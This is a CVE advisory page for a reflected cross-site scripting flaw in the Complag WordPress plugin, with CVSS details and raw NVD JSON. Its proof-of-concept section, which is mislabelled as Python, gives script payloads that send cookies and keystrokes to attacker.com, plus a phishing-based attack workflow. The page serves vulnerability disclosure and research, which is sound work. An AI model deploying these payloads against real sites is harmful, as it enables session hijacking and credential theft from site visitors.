Security Vulnerability Report
中文
CVE-2025-14125 CVSS 6.1 MEDIUM

CVE-2025-14125

Published: 2025-12-12 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Complag plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Complag插件 <= 1.0.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-14125 PoC - Reflected XSS in WordPress Complag Plugin // Target: WordPress Complag Plugin <= 1.0.2 // Malicious URL construction $target_url = 'http://victim-site.com/wp-admin/admin.php'; $malicious_payload = '<script>alert(document.cookie)</script>'; // XSS via PHP_SELF variable $poc_url = $target_url . '/' . urlencode($malicious_payload); echo "Target URL: " . $target_url . "\n"; echo "PoC URL: " . $poc_url . "\n"; echo "\nWhen victim visits this URL, the JavaScript will be reflected and executed.\n"; // Example attack scenarios: // 1. Cookie stealing $cookie_steal_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // 2. Session hijacking $session_hijack_payload = '<script>document.location="https://attacker.com/phish?"+document.cookie</script>'; // 3. Keylogger injection $keylogger_payload = '<script>document.onkeypress=function(e){fetch("https://attacker.com/log?k="+e.key)}</script>'; /* Attacker workflow: 1. Craft malicious URL with XSS payload 2. Distribute via phishing email, social media, or other channels 3. Trick victim into clicking the link 4. Victim's browser executes the injected JavaScript 5. Attacker steals cookies/session data */ ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14125", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:47.393", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Complag plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/omplag/tags/1.0.2/complag.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/omplag/trunk/complag.php#L37", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1bdae07c-cb80-4566-9b90-7b144c6ceeb0?source=cve", "source": "[email protected]"}]}}